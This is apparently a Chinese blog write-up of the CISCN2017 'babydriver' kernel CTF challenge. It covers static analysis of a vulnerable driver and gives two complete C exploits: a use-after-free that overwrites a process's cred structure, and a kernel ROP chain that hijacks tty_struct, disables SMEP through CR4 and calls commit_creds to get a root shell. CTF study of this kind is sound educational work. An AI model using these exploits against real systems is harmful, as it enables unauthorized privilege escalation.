【Writeup】CISCN2017_Pwn_babydriver

0x01 环境配置

  • 题目所给文件三个
    在这里插入图片描述

    • boot.sh:启动脚本。多用qemu,保护措施与qemu不同的启动参数有关。
    • bzImage:kernel镜像。
    • rootfs.cpio:文件系统映像。
  • boot.sh内容
    在这里插入图片描述

    需要安装qemu,然后执行./boot.sh。

  • 启动qemu虚拟机
    在这里插入图片描述

    显然本题需要进行内核提权,然后获得flag。

  • 查看一下init文件内容
    在这里插入图片描述

    insmod命令用于将给定的模块加载到内核中。可见内核加载了位于/lib/modules/4.4.72/目录下的babydriver.ko文件。CTF中的内核题很多都是出在加载的模块上。

    /proc/modules列出了所有load进入内核的模块列表:
    在这里插入图片描述

    可以看到babydriver这个模块被加载进了kernel中,并且显示了其加载的地址。

  • 接下来需要对babydriver.ko文件进行静态分析,首先将rootfs.cio文件系统映像解包,写一个解包的脚本:

    # sudo chmod a+x dec.sh
    # ./dec.sh
    mkdir fs
    cd fs
    cp ../rootfs.cpio ./rootfs.cpio.gz
    gunzip ./rootfs.cpio.gz 
    cpio -idmv < rootfs.cpio
    rm rootfs.cpio
    

    在这里插入图片描述

0x02 静态分析

  • 获取/lib/modules/4.4.72/babydriver.ko文件,查看文件信息:
    在这里插入图片描述

  • 拖入IDA 64bits进行分析
    在这里插入图片描述

    • babydriver_initbabydriver_exit函数进行的是参数设置之类的工作,唯一值得注意的是init中设置了/dev/babydev作为设备文件。

    • babyopenbabyrelease为全局变量babydev_structf分别分配内存和释放内存。

      全局变量babydev_struct由一个device_buf和它的长度device_buf_len两部分组成:
      在这里插入图片描述

      babyopen函数调用kmem_cache_alloc_trace函数,分配了一个64字节大小的内存给device_buf,将长度记录在device_buf_len中:
      在这里插入图片描述

      这个分配方式其实和kernel中分配内存所使用的kmalloc是一个原理:
      在这里插入图片描述

      babyrelease函数调用free释放内存:
      在这里插入图片描述

    • babywritebabyread函数的功能分别为从用户buffer读取内容至device_buf和向用户buffer写入device_buf中的内容,用户传递长度和缓冲区地址作为参数,只有device_buf_len超过了这个长度才可以进行拷贝或者输出。两者都首先进行了device_buf指针是否为空的检查,再进行后续操作。

      babywrite函数:
      在这里插入图片描述

      babyread函数:
      在这里插入图片描述

    • babyioctl函数定义了一个命令,该命令执行的效果是释放现有的device_buf,按照用户传入的大小重新分配一块内存区域给device_buf,再记录长度到device_buf_len中。

      babyioctl函数:
      在这里插入图片描述

0x03 解题思路一:UAF修改cred

  在记录解题思路之前进行一些原理的说明。

SLAB&SLUB

  kernel中没有libc,但是仍然需要内存的分配和释放,这时就会使用到kmalloc&kfree API(相当于用户态使用的malloc&free)。kmalloc&kfree的实现是通过SLAB或SLUB分配器,现在一般是SLUB分配器。分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,其中保存的对象分为空对象、部分使用的对象和完全使用的对象进行管理。对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,每个cache对应一个2的幂次大小的一组内存对象。

  SLAB和SLUB都是内核的内存管理机制。为了提高效率,SLAB要求系统暂时保留已经释放的内核对象空间,以便下次申请时不需要再次初始化和分配。但是SLAB比较严格,需要再次申请的数据类型和大小与原先的完全一样,并且不同cache的无法分在同一页内;而SLUB较为宽松,和堆分配机制更为相似。

struct cred

  kernel中会记录进程的权限是通过cred结构体记录的。每个进程都会分配一个cred结构体,其中保存有该进程的权限信息(uid&gid)。uid=0&gid=0说明是root权限进程。本题的利用目标就是改写进程的cred内容使其uid=0&gid=0。

  stuct cred源码如下(v4.4.72):

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};

  通过查找各种类型所占内存大小、对齐规则可知cred结构体的总大小是0xa8,一直到gid结束是28个字节。

UAF利用

  管理机制为了提升效率一般不会把刚释放的小堆块立刻回收,而是标记为空闲,这样再次申请时大小类似的内存区域时可以迅速分配。这样如果申请一个大小合适的堆块后释放,然后又申请了一个相同大小的堆块,系统就会把之前刚释放的堆块分配给新的指针。一般程序Use After Free漏洞产生的原因在于第一个堆块被释放后,指针没有置为NULL,仍然指向原有的内存区域,这样使得堆块被使用的时候,第一个指针可以随意修改这个堆块的内容从而造成危险。

  本题按常规思路来看是没有漏洞的,但是kernel中的UAF利用需要有多线程的思维。在本题中,由于babydev_struct是一个全局共享变量,因此如果打开两次设备,第二次分配的空间会覆盖第一次的,那么如果释放了第一个,第二个就相当于指向了已经被释放的空闲空间;又因为可以通过babyiotcl函数修改buffer大小,因此可以得出利用思路:

  • 打开两次设备,通过ioctlbabydev_struct.device_buf大小变为的cred结构体的大小
  • 释放第一个设备,fork出一个新的进程,这个进程的cred结构体就会放在babydev_struct.device_buf所指向的内存区域
  • 使用第二个描述符,调用write向此时的babydev_struct.device_buf中写入28个0,刚好覆盖至uid和gid,实现root提权
EXP
#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>
int main(){
    int fd1,fd2,id;
    char cred[0xa8] = {0};
    fd1 = open("dev/babydev",O_RDWR);
    fd2 = open("dev/babydev",O_RDWR);
    ioctl(fd1,0x10001,0xa8);
    close(fd1);
    id = fork();
    if(id == 0){
        write(fd2,cred,28);
        if(getuid() == 0){
            printf("[*]welcome root:\n");
            system("/bin/sh");
            return 0;
        }
    }
    else if(id < 0){
        printf("[*]fork fail\n");
    }
    else{
        wait(NULL);
    }
    close(fd2);
    return 0;
}
编译与执行
  • 编译exp并将其放入解包的文件系统中

    gcc exp.c -static -o ./fs/exp
    
  • 重新打包kernel镜像

    # sudo chmod a+x c.sh
    # ./c.sh
    cd fs
    find . | cpio -o --format=newc > ../rootfs.img
    

    更改boot.sh中的

    -initrd rootfs.cpio
    

    -initrd rootfs.img
    

    保存并运行boot.sh

  • qemu中执行exp
    在这里插入图片描述
    提权成功。

gdb调试exp环境配置
  • 提取vmlinux

    使用脚本extract-vmlinux提取出带符号的源码(脚本直接复制到linux中保存即可使用)

    ./extract-vmlinux ./bzImage > vmlinux
    
  • 启动gdb

    gdb ./vmlinux -q
    
  • 导入符号表

    add-symbol-file ./fs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
    

    两个参数分别为babydriver.ko在解包后的文件系统中的路径以及.text段的地址。地址可以直接在qemu中查看:
    在这里插入图片描述

  • 增加远程调试参数后启动qemu

    在boot.sh中添加如下参数:

    -gdb tcp::1234
    

    保存后执行./boot.sh

  • gdb连接程序

    gdb中执行:

    target remote 127.0.0.1:1234
    

    在这里插入图片描述

    接着就可以下断点,然后按c继续执行,再在qemu虚拟机中运行exp进行正常调试。

gdb调试exp过程
  • 分别在babyopen、babyioctl、babywrite三处下断点
    在这里插入图片描述

  • qemu中运行exp
    在这里插入图片描述

  • 第一次babyopen断下
    在这里插入图片描述

    • si逐条单步步过汇编代码,直到为babydev_struct赋值的语句
      在这里插入图片描述
      babydev_struct.dev_buf的地址为0xffffffffc00024d0,babydev_struct.dev_buf_len的地址为0xffffffffc00024d8

    • 查看该处内容
      在这里插入图片描述
      目前还都是0

    • 执行完两条赋值语句后
      在这里插入图片描述

      0xffffffffc00024d0 dev_buf -> 0xffff880000b8b700
      0xffffffffc00024d8 dev_buf_len -> 0x0000000000000040
      
    • 查看buffer内容
      在这里插入图片描述

  • 第二次babyopen断下
    在这里插入图片描述

    • 与第一次做法相同,使用ni一直到赋值语句
      在这里插入图片描述
      可以看到babydev_struct地址仍然是0xffffffffc00024d0。并且这个地址无论运行多少次都不会变。

    • 查看内容
      在这里插入图片描述

      0xffffffffc00024d0 dev_buf -> 0xffff880000b8be40
      0xffffffffc00024d8 dev_buf_len -> 0x0000000000000040
      

      buffer进行了重新分配。
      在这里插入图片描述

  • babyioctl断下
    在这里插入图片描述
    在这里插入图片描述

    • si运行至刚好运行完重新赋值的语句处
      在这里插入图片描述
      在这里插入图片描述
    • 查看babydev_struct内容
      在这里插入图片描述
      0xffffffffc00024d0 dev_buf -> 0xffff8800003d11240
      0xffffffffc00024d8 dev_buf_len -> 0x00000000000000a8
      
      可以看到babydev_struct又进行了buffer的重新分配,大小变成了0xa8,也就是cred结构体的大小。
      在这里插入图片描述
  • babywrite断下
    在这里插入图片描述
    在这里插入图片描述
    此时fork函数执行结束,子进程的cred结构体被放入babydev_struct.dev_buf指向的区域
    在这里插入图片描述

    • si运行至babywrite返回处
      在这里插入图片描述
    • 查看此时的babydev_struct.dev_buf
      在这里插入图片描述
      前28个字节被写为0,按c继续运行可以看到提权成功。

0x04 解题思路二:kernel ROP——UAF+bypassSMEP+ret2usr

分析

  执行open(“/dev/ptmx”, O_RDWR | O_NOCTTY) 操作会打开ptmx这种tty设备,申请一块内核空间,其中放置 tty_struct 这个结构体,其内容如下:

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;     // target
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

  其中值得注意的是第五个成员,它的类型是名为 tty_operations 的结构体:

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

  其中有很多函数指针。这些指针也很容易触发,比如使用设备的 open 操作就会触发其中的int (*open)(struct tty_struct * tty, struct file * filp);函数指针,使用 ioctl 就会触发其中的int (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);函数,依次类推。

  那么大致思路就有了:首先与解法一中做法相同,通过利用UAF控制一个tty_struct结构体,然后使用第二个文件描述符对其第五个成员const struct tty_operations *ops的内容进行修改,使其指向一个伪造的tty_operations类型的结构体。在这个fake_tty_ops中,把需要利用的函数指针所在位置的内容,改为需要执行的代码的地址,这样就使内核执行流发生了转向。

  EXP达成的最终目标是:目标进程在内核态执行提权shellcode—— commit_creds(prepare_kernel_cred(0)) 后,返回用户态执行getshell代码system("/bin/sh")

​ 基于这个目标考虑几个具体的问题:

  • 内核执行流转向何处?

    ​ 由于开启了SMEP保护,进程处于内核态(ring0)的时候无法执行任何用户空间的代码,因此第一处包括之后绕过SMEP之前的跳转必须是位于内核空间的代码。

  • 转向后第一步做什么?

    ​ 为了完成绕过SMEP、执行提权shellcode、返回用户态等一系列不同的操作,必须进行ROP,然而内核态时使用的是用户无法控制的内核栈,这样跳转后执行完第一步就没法继续了,因此需要进行的第一步就是 栈迁移,具体来说就是跳转到一个内核gadget,这个gadget执行后,栈指针rsp落入用户可知并可控的用户空间,在这个空间中存放ROP链,从而完成一系列操作。

  • 如何进行栈迁移?

    ​ 可以利用 xchg eax,esp;ret 这条gadget。这条指令执行的效果是:rax和rsp寄存器的低32位内容互换,而高32位全部清零。在 ioctlwrite 等函数中触发执行流转向的语句是 call rax,也就是说rax中保存了fake_tty_ops中目标成员的内容,即执行流第一步转向的地址。如果是64位全部交换那么rsp肯定是内核地址,但是只交换低32位而高位清零后,rsp就指向了用户空间。而这个用户空间地址是已知的,也就是xchg eax,esp;ret实际地址取低32位后的值。那么就可以使用mmap在这个地址附近申请内存块放置ROP链。

  • 如何绕过SMEP?

    ​ SMEP是否开启完全由CR4寄存器的第20位是1还是0决定。使用 mov cr4,rdi;ret 这样的gadget就可以修改CR4的值关闭SMEP。

  • 如何获得commit_creds和prepare_kernel_cred这两个内核函数的地址?

    ​ 本题没有开启kASLR,所有的内核地址都是固定的,可以在EXP中直接写死。这两个函数地址使用 cat /proc/kallsyms | grep commit_creds 命令就可以查看,但是这个命令需要管理员身份才能执行。查看init启动脚本,发现/proc/kallsyms文件被拷贝到了/tmp/kallsyms路径下,因此查看/tmp/kallsyms即可。获取地址后就可以在EXP中定义对应的函数指针类型,把各自的地址赋给对应类型的函数指针,然后编写一个用户空间的函数,获取其地址shellcode_addr放入ROP链中。

  • 执行完提权shellcode后,如何返回用户空间?

    ​ 需要两个特殊gadget。

    • swapgs:用于恢复GS的值。由用户态切换为内核态时会执行这个指令,返回时同样需要执行一次
    • iretq:特权返回指令(64bits,32bits下为iret)。执行完此条指令可以返回用户空间,但是需要一定的栈布局,作为返回用户态的信息。栈布局如下:
      • RIP
      • CS
      • EFLAGS
      • RSP
      • SS

    ​ 其中的CS、EFLAGS和SS都可以在EXP运行一开始保存。RIP就是iretq的地址,RSP是用户栈顶指针,这里选择一块可用的用户区域即可(之前的假栈空间)。

EXP
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>

#define COMMAND 0x10001

#define ALLOC_NUM 50

struct tty_operations
{
    struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /*     0     8 */
    int (*install)(struct tty_driver *, struct tty_struct *);              /*     8     8 */
    void (*remove)(struct tty_driver *, struct tty_struct *);              /*    16     8 */
    int (*open)(struct tty_struct *, struct file *);                       /*    24     8 */
    void (*close)(struct tty_struct *, struct file *);                     /*    32     8 */
    void (*shutdown)(struct tty_struct *);                                 /*    40     8 */
    void (*cleanup)(struct tty_struct *);                                  /*    48     8 */
    int (*write)(struct tty_struct *, const unsigned char *, int);         /*    56     8 */
    /* --- cacheline 1 boundary (64 bytes) --- */
    int (*put_char)(struct tty_struct *, unsigned char);                            /*    64     8 */
    void (*flush_chars)(struct tty_struct *);                                       /*    72     8 */
    int (*write_room)(struct tty_struct *);                                         /*    80     8 */
    int (*chars_in_buffer)(struct tty_struct *);                                    /*    88     8 */
    int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int);             /*    96     8 */
    long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /*   104     8 */
    void (*set_termios)(struct tty_struct *, struct ktermios *);                    /*   112     8 */
    void (*throttle)(struct tty_struct *);                                          /*   120     8 */
    /* --- cacheline 2 boundary (128 bytes) --- */
    void (*unthrottle)(struct tty_struct *);           /*   128     8 */
    void (*stop)(struct tty_struct *);                 /*   136     8 */
    void (*start)(struct tty_struct *);                /*   144     8 */
    void (*hangup)(struct tty_struct *);               /*   152     8 */
    int (*break_ctl)(struct tty_struct *, int);        /*   160     8 */
    void (*flush_buffer)(struct tty_struct *);         /*   168     8 */
    void (*set_ldisc)(struct tty_struct *);            /*   176     8 */
    void (*wait_until_sent)(struct tty_struct *, int); /*   184     8 */
    /* --- cacheline 3 boundary (192 bytes) --- */
    void (*send_xchar)(struct tty_struct *, char);                           /*   192     8 */
    int (*tiocmget)(struct tty_struct *);                                    /*   200     8 */
    int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int);        /*   208     8 */
    int (*resize)(struct tty_struct *, struct winsize *);                    /*   216     8 */
    int (*set_termiox)(struct tty_struct *, struct termiox *);               /*   224     8 */
    int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /*   232     8 */
    const struct file_operations *proc_fops;                                 /*   240     8 */

    /* size: 248, cachelines: 4, members: 31 */
    /* last cacheline: 56 bytes */
};

typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0;
unsigned long xchgeaxesp = 0xFFFFFFFF81007808;
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xFFFFFFFF8181A797;
unsigned long swapgs = 0xFFFFFFFF81063694;


void get_root_payload(void)
{
    commit_creds(prepare_kernel_cred(0));
}

void get_shell()
{
    char *shell = "/bin/sh";
    char *args[] = {shell, NULL};
    execve(shell, args, NULL);
}

struct tty_operations fake_ops;

char fake_procfops[1024];

unsigned long user_cs, user_ss, user_rflags;

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

void set_affinity(int which_cpu)
{
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(which_cpu, &cpu_set);
    if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0)
    {
        perror("sched_setaffinity()");
        exit(EXIT_FAILURE);
    }
}

int main()
{

    int fd = 0;
    int fd1 = 0;
    int cmd;
    int arg = 0;
    char Buf[4096];
    int result;
    int j;
    struct tty_struct *tty;
    int m_fd[ALLOC_NUM],s_fd[ALLOC_NUM];
    int i,len;
    unsigned long lower_addr;
    unsigned long base; 
    char buff2[0x300];
	
	printf("[+]Save state...\n");
    save_state();
	printf("[+]save_state done\n");

    printf("[+]Set affinity...\n");
	set_affinity(0);
	printf("[+]set_affinity done\n");

	printf("[+]Prepare fake_ops and fake_procfops...\n");
    memset(&fake_ops, 0, sizeof(fake_ops));
    memset(fake_procfops, 0, sizeof(fake_procfops));
    fake_ops.proc_fops = &fake_procfops;
    fake_ops.ioctl = xchgeaxesp;
	printf("[+]fake_tty_ops & fake_procfops prepare done\n");
	printf("[+]addr of fake_ops: %p\n",&fake_ops);
	printf("[+]addr of fake_procfops: %p\n",fake_procfops);

    //open two babydev
	printf("[+]Open two babydev...\n");
    fd = open("/dev/babydev",O_RDWR);
    fd1 = open("/dev/babydev",O_RDWR);
	printf("[+]babyopen twice done\n");

    //init babydev_struct
    printf("[+]Init buffer for tty_struct(size:%d)...\n",sizeof(tty));
    ioctl(fd,COMMAND,0x2e0);
    ioctl(fd1,COMMAND,0x2e0);
	printf("[+]babyioctl twice done\n");

    //race condition
    printf("[+]Free buffer 1st...\n");
    close(fd);
	printf("[+]free fd done\n");

    printf("[+]Try to occupy tty_struct...\n");
    for(i=0;i<ALLOC_NUM;i++)
    {
    	m_fd[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    	if(m_fd[i] == -1)
    	{
        	printf("[-]The %d pmtx error\n",i);
    	}
    }
	printf("[+]open ptmx done\n");

    printf("[+]Let's debug it\n");
	printf("[+]addr of xchgeaxesp: %p\n",xchgeaxesp);
    lower_addr = xchgeaxesp & 0xFFFFFFFF;
    base = lower_addr & ~0xFFF;
    if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base)
    {
        perror("mmap");
        exit(1);
    }
    unsigned long rop_chain[]= {
        poprdiret,
        0x6f0, // cr4 with smep disabled
        native_write_cr4,
        get_root_payload,
        swapgs,
        0, // dummy
        iretq,
        get_shell,
        user_cs, user_rflags, base + 0x10000, user_ss
	};
    memcpy(lower_addr, rop_chain, sizeof(rop_chain));
	printf("[+]addr of mmap base: %p\n",base);
	printf("[+]addr of ROP chain: %p\n",lower_addr);
	printf("[+]addr of get_root_payload: %p\n",get_root_payload);
	printf("[+]addr of get_shell: %p\n",get_shell);

    //uaf here
	
	printf("[+]Read tty_struct...\n");
    len = read(fd1, buff2, 0x20);
    if(len == -1)
    {
        perror("read");
        exit(-1);
    }
	printf("[+]read tty_struct done\n");
    //printf("read len=%d\n", len);

	printf("[+]Head content of tty_struct(before):\n");
    for(j =0; j < 4; j++)
    {
        printf("(%d)%p\n", j,*(unsigned long long*)(buff2+j*8));
    }

	
	printf("[+]Modify tty_struct...\n");
    *(unsigned long long*)(buff2+3*8) = &fake_ops;
	printf("[+]modify tty_struct done\n");
	
	printf("[+]Write back to tty_struct...\n");
    len = write(fd1, buff2, 0x20);
    if(len == -1)
    {
        perror("write");
        exit(-1);
    }
	printf("[+]write back to tty_struct done\n");

	printf("[+]Head content of tty_struct(after):\n");
    for(j =0; j < 4; j++)
    {
        printf("(%d)%p\n", j,*(unsigned long long*)(buff2+j*8));
    }

    printf("[+]Get shell...\n");
    for(i = 0; i < 256; i++)
    {
        ioctl(m_fd[i], 0, 0);//FFFFFFFF814D8AED call rax
    }
	printf("[+]get shell done");
}
调试
  • UAF利用之前准备好fake_ops
    在这里插入图片描述
    在这里插入图片描述

    proc_fops设置为合法指针即可,这里是随便申请了一块空间后赋值为其地址。

  • 两次babyopen之后修改buffer大小控制了tty_struct
    在这里插入图片描述
    在这里插入图片描述

  • babywrite修改tty_struct内容后
    在这里插入图片描述

  • ioctl函数中触发执行流转向
    在这里插入图片描述
    在这里插入图片描述

  • 此时的栈为内核栈
    在这里插入图片描述

  • si单步运行
    在这里插入图片描述
    在这里插入图片描述

  • 执行xchg指令后

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    栈切换为事先布置好的ROP链。

  • 进入ROP链

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 提权成功
    在这里插入图片描述

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值